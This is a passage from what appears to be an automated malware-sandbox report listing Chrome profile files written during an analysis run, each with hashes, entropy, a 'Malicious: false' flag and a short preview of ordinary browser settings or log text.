SSDEEP: 48:YcKkKSChklinOiqA0qqTlYGlQKHoTw0+2rN4MqM8C1Nfct/9BhUJo3KhmeSnpNGC:naLhO7b9pIKID5k0JCKL8bbOTlVuHn

MD5: 21C27E5A5C6466876A37A98EFF39EE1E

SHA1: 65AD05DDFB52D14FEB4A65448F1015357481C92E

SHA-256: B86E1EA6DDE8DC5302D8CF9064E03B4DE64C6D8731FA1868C6F47C2C9A989DBD

SHA-512: 7EC251224631FE3BF7656905A58B46226970DAA23D81CD6673DD976DD70832909B6AA2E9E207A612E0EEC2C4079AB1B0C5C341C7B54E4791FEB141EBB07C3DD
2

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferencesn (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5274

Entropy (8bit): 4.9726395506050824

Encrypted: false

SSDEEP: 96:naLhOib9pIKID5k0JCKL8sykpG7bOTlVuHn:naLhV9pINh4Kpykp4

MD5: C802CF17AE77920267E085E0BE4851C1

SHA1: 5B0394726327EF24B77214FA6094BE0693AF60B7

SHA-256: 8118C1D1ABD94F1C4B7AB61DDF50835D4CADF5049B1A2DEC126F97EEF66C29EA

SHA-512: 720844AF20897CD61E19C86EED3B854DAF59CC290746B4DFCBFE24FAFFE661E8487A875EE333BC46EE22ABE1294E656BF5253DD9221D3BDC31F6FDD9806D9D
81

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 36864

Entropy (8bit): 0.743869961044362

Encrypted: false

SSDEEP: 48:TUIopK2rJNVr1GJmm8pF82phrJNVrdHX/cjrJN2yJ1n4n1GmhGU1cEBAOnOY1UOm:wIElwQF8mpcSasnpe

MD5: FE4E016C5DF86CE536DADDD86F8F658D

SHA1: 3B8EF9926956EA6B241DE3113108D30F0EC81C14

SHA-256: 0A27D0EB65ADAD4167AF5E2768B6DE57F0E3284D505CCC7E715F10B8BD80BF86

SHA-512: A48279CF8796FEE57CC58BB0E3A0025E8867C5F112E5A43F262F2FF85ED31A3842BE6BF7AA4C4F45099B6078B53B8CDAAC3AFB34FACED4DF8BE7D710A2A3A5
8B

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C..........g...^.........j..............................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Copyright Joe Security LLC 2022 Page 36 of 171



Size (bytes): 17092

Entropy (8bit): 5.582970998362241

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorUR1f64cD:ILlGP1kXqKf/pUZNCgVLH2HfUrUz6F

MD5: 4F69A4C9C2C1E6227FC66707BBBB14AE

SHA1: 92B4C106FBB1F15D11057EFAB98B8ED7BC0074D5

SHA-256: 3C6C42403CB68E145720C004A3C2B4958B0623BC16D21D35120FCB8A4CAA0AF7

SHA-512: 8422A67A293043BDD56EAD05463715DC7C6F8832FB0C1C3E0A6BE127A9DA8448FBA0246713D543652E79CD75F0518DE4A2CC9A2E6AE66921DBCC5D844B096F2
5

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences.u (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19184

Entropy (8bit): 5.570534327188286

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorU6HG41U64Qd:ILlGP1kXqKf/pUZNCgVLH2HfUrUKGH6X

MD5: FE61F989A7DA7F021EABDC0598DF9086

SHA1: D2C959DA105986421036F2FFB17AA902E7F93859

SHA-256: 924C7A7249B98A96D7E5D959EA9140012187804D68A10DEC83EED426A21D17D2

SHA-512: 8354C737B889F729682D92916A03E28054CC6ED274FB05F68EB708E2E4556162CEB605A8C950391C7630F7EFBB0E2BF0E946A8A5D471E3C00D2A919D20E7918E

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesTM (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 22602

Entropy (8bit): 5.536204930835118

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorU6HGwnZP1J64W:ILlGP1kXqKf/pUZNCgVLH2HfUrUKGwni

MD5: D099FEA6646927434CF718EDD4A19E4F

SHA1: 8383BC2194BC11281D0C65C6ADC98FCFFD48899D

SHA-256: 784068565C30C4B9286AEBC257B24FEF82129DD7ABA79B3B7A458CCCCAD0A60C

SHA-512: DD54E57C808678A91C293C6FADEA7A4F7BE2A59BBBAA97F003E9012456E0B399F6D9F59BAC81B08A79845485ABF5978136BD6A335CDDC8AEFD5C0D02F4213C
93

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences|u (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped
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Size (bytes): 19185

Entropy (8bit): 5.5704897123585475

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorU6HG51c64G:ILlGP1kXqKf/pUZNCgVLH2HfUrUKGg6B

MD5: F4BD41181C3164301BA7C4360B88DBD5

SHA1: 7DDEB02A4DA114ED1EC2C77D0A5B156416C27948

SHA-256: C8DC983E98728C30526F4591565B7DE907A4CE5B88E00FD475097FD4521F2CA5

SHA-512: AB8487662748FCC0399464E3E9397E6AF0888A42F5250AF3E071C7C89EBA243F639524ADE3BF8E387E10411C6F62EB576F975A30B1BCF1DEAE0F6083DFE5652C

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences|u (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 479

Entropy (8bit): 2.3938050181540715

Encrypted: false

SSDEEP: 12:S+a8ljljljljljljljljljljljljljljljljljljljljljljl:Ra0ZZZZZZZZZZZZZZZZZZZZZZ

MD5: B78ABC5199BACA161D5722B7E4F62A75

SHA1: 2828108DA920E6331CDD68E90E008AB275AEE9CF

SHA-256: 9B4FB626EF18EE4687881EF7237A8820864CE5ED421E9A42F6951DC8041C4C72

SHA-512: D561F5FCF0B7EFB9DB6B618963CEB0985097B4AAF4B42547666A9CED2B96680562F104CE98EE1F0BD1B05F66F2761B18F97C526D1F9465CC639A7B9B78445868

Malicious: false

Reputation: unknown

Preview:
*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f....
.............&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.159692119265618

Encrypted: false

SSDEEP: 6:Mi8Vt5L+q2Pwkn23iKKdKrQMxIFUtqVTi8EoHz1ZmwYVTi8RjLVkwOwkn23iKKd0:Mi8JyvYf5KkCFUtui8EgZ/0i8lR5Jf5N

MD5: B97E382B271544E5163AA3505EA7DD4D

SHA1: A0CB3A08CC89DA998DF575448729A58C92672AA6

SHA-256: CE18A57F35ECE7997E55ADC94F5BCD5BF3B37BC14DE6C4A96108A933A5139B94

SHA-512: DC93580390198B74BD1DB343843D4E778FDFFFF1A1E839BBC0EE88CD8FED0208DB281DB686AC2C110A1D2B8D3893F342C3770B9357F2106A73DD7D4C5BD5257
7

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.109 1978 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2022/01/13-2
2:05:16.110 1978 Recovering log #3.2022/01/13-22:05:16.141 1978 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session St
orage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.159692119265618

Encrypted: false

SSDEEP: 6:Mi8Vt5L+q2Pwkn23iKKdKrQMxIFUtqVTi8EoHz1ZmwYVTi8RjLVkwOwkn23iKKd0:Mi8JyvYf5KkCFUtui8EgZ/0i8lR5Jf5N

MD5: B97E382B271544E5163AA3505EA7DD4D

SHA1: A0CB3A08CC89DA998DF575448729A58C92672AA6

SHA-256: CE18A57F35ECE7997E55ADC94F5BCD5BF3B37BC14DE6C4A96108A933A5139B94
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SHA-512: DC93580390198B74BD1DB343843D4E778FDFFFF1A1E839BBC0EE88CD8FED0208DB281DB686AC2C110A1D2B8D3893F342C3770B9357F2106A73DD7D4C5BD5257
7

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.109 1978 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2022/01/13-2
2:05:16.110 1978 Recovering log #3.2022/01/13-22:05:16.141 1978 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session St
orage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 348

Entropy (8bit): 5.179448108027997

Encrypted: false

SSDEEP: 6:MiWpaq2Pwkn23iKKdK7Uh2ghZIFUtqVTiWRZmwYVTiWTcJkwOwkn23iKKdK7Uh2w:MicavYf5KkIhHh2FUtuiE/0iz5Jf5Kks

MD5: A2EF952FCD93B0BD4D6DC1853DE5F267

SHA1: C24B3227588DD033896204C5283CB0F7BF30486C

SHA-256: 9B3C1B40097F0E2DF1C4AC0138828B7D57DEBA5BDEC6C2BF666F8B6C98C81F91

SHA-512: 86020A3BAD23FD4CA4E939BB2FE09AED5BE6B2B8748E1439B7FAD421BBFE437691C5E94DEA6CC6EB982A29D21B082B5BA589A477A01DE56B4B1D1DD4CFD49
E5D

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:15.611 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-00000
1.2022/01/13-22:05:15.619 1984 Recovering log #3.2022/01/13-22:05:15.623 1984 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site C
haracteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 348

Entropy (8bit): 5.179448108027997

Encrypted: false

SSDEEP: 6:MiWpaq2Pwkn23iKKdK7Uh2ghZIFUtqVTiWRZmwYVTiWTcJkwOwkn23iKKdK7Uh2w:MicavYf5KkIhHh2FUtuiE/0iz5Jf5Kks

MD5: A2EF952FCD93B0BD4D6DC1853DE5F267

SHA1: C24B3227588DD033896204C5283CB0F7BF30486C

SHA-256: 9B3C1B40097F0E2DF1C4AC0138828B7D57DEBA5BDEC6C2BF666F8B6C98C81F91

SHA-512: 86020A3BAD23FD4CA4E939BB2FE09AED5BE6B2B8748E1439B7FAD421BBFE437691C5E94DEA6CC6EB982A29D21B082B5BA589A477A01DE56B4B1D1DD4CFD49
E5D

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:15.611 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-00000
1.2022/01/13-22:05:15.619 1984 Recovering log #3.2022/01/13-22:05:15.623 1984 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site C
haracteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\78230e1f-036b-4f5c-8748-b638e36
fa55f.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.975147286312194

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRKXk1Yn:YHO8sdHfHYhsBdLJlyH7E4f3K3X

MD5: A6C1D2076E0E7FFE40E5BFEC0BEAFAA7

SHA1: F1CD6815325610D07455A215A1C4E724D2F1DC17

SHA-256: 3B3BD7020547A67DD4A6A30E8ADBC4A5921570268D7E0182053BF5412F5BFF50

SHA-512: 7534CBC15D48BEC22E52459AA3832DBA67CE0EF7A0C6B6A1192BA8425C056E8629176C2EF92BA977CC3A6BBB019236243C1C551630D0BC8902F7456AC90B8B7
0

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D
58

Malicious: false

Reputation: unknown

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.273035259674804

Encrypted: false

SSDEEP: 12:Mi8TTqyvYf5KkFFUtui8T5/0i8TlGR5Jf5KkOJ:MVYf5KkfguMP8Jf5KkK

MD5: ACEA4823805F87261637163520D96E99

SHA1: 34493DA4EECDF68EAF79C1EC389494D7AB239E89

SHA-256: FBB1E727E441B5B244F9CFECDE4C7B5EA775F09558001FA0E662DDEF37D9F372

SHA-512: 1C69EB94FA1C05C416A4AC85D1B7364D3B9B966DAD5883C974B12DC97B85A4DDE11F3ACC1496C87077748FEE575125D0CA7C0A79F5D6999170DE186975044D1
B

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.166 1978 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Local Storage\leveldb/MANIFEST-000001.2022/01/13-22:05:16.167 1978 Recovering log #3.2022/01/13-22:05:16.168 1978 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG.old (
copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.273035259674804

Encrypted: false

SSDEEP: 12:Mi8TTqyvYf5KkFFUtui8T5/0i8TlGR5Jf5KkOJ:MVYf5KkfguMP8Jf5KkK

MD5: ACEA4823805F87261637163520D96E99

SHA1: 34493DA4EECDF68EAF79C1EC389494D7AB239E89

SHA-256: FBB1E727E441B5B244F9CFECDE4C7B5EA775F09558001FA0E662DDEF37D9F372

SHA-512: 1C69EB94FA1C05C416A4AC85D1B7364D3B9B966DAD5883C974B12DC97B85A4DDE11F3ACC1496C87077748FEE575125D0CA7C0A79F5D6999170DE186975044D1
B

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.166 1978 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Local Storage\leveldb/MANIFEST-000001.2022/01/13-22:05:16.167 1978 Recovering log #3.2022/01/13-22:05:16.168 1978 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State.. (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.975147286312194

Encrypted: false
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SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRKXk1Yn:YHO8sdHfHYhsBdLJlyH7E4f3K3X

MD5: A6C1D2076E0E7FFE40E5BFEC0BEAFAA7

SHA1: F1CD6815325610D07455A215A1C4E724D2F1DC17

SHA-256: 3B3BD7020547A67DD4A6A30E8ADBC4A5921570268D7E0182053BF5412F5BFF50

SHA-512: 7534CBC15D48BEC22E52459AA3832DBA67CE0EF7A0C6B6A1192BA8425C056E8629176C2EF92BA977CC3A6BBB019236243C1C551630D0BC8902F7456AC90B8B7
0

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State.. (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent StateMP (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51

SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.219677151404124

Encrypted: false

SSDEEP: 12:Miq9vYf5KkmiuFUtuiYZ/0itQz5Jf5Kkm2J:MHYf5KkSgudiJJf5Kkr

MD5: DB0E3913CF85908A23D1087F897ACB15

SHA1: CEE8A09BEFF83A42AD54698D2EA38A4A20736B82

SHA-256: AE06D63F817C6C35B29C3B066BD57A4F382A4428DC92D080D3E767F6903EA3A5

SHA-512: 2F895E5246C7A483D4142AC96F3FDA2939E38C0BD95E21494AE686A8C637571D1301F57EDBE1D3A36FF57F4F33618480857BFBCEDF0C3CE36760B6397BF5B7E7

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.225 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Platform Notifications/MANIFEST-000001.2022/01/13-22:05:16.244 1a10 Recovering log #3.2022/01/13-22:05:16.246 1a10 Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG.old 
(copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.219677151404124

Encrypted: false

SSDEEP: 12:Miq9vYf5KkmiuFUtuiYZ/0itQz5Jf5Kkm2J:MHYf5KkSgudiJJf5Kkr

MD5: DB0E3913CF85908A23D1087F897ACB15

SHA1: CEE8A09BEFF83A42AD54698D2EA38A4A20736B82

SHA-256: AE06D63F817C6C35B29C3B066BD57A4F382A4428DC92D080D3E767F6903EA3A5

SHA-512: 2F895E5246C7A483D4142AC96F3FDA2939E38C0BD95E21494AE686A8C637571D1301F57EDBE1D3A36FF57F4F33618480857BFBCEDF0C3CE36760B6397BF5B7E7

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.225 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Platform Notifications/MANIFEST-000001.2022/01/13-22:05:16.244 1a10 Recovering log #3.2022/01/13-22:05:16.246 1a10 Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .
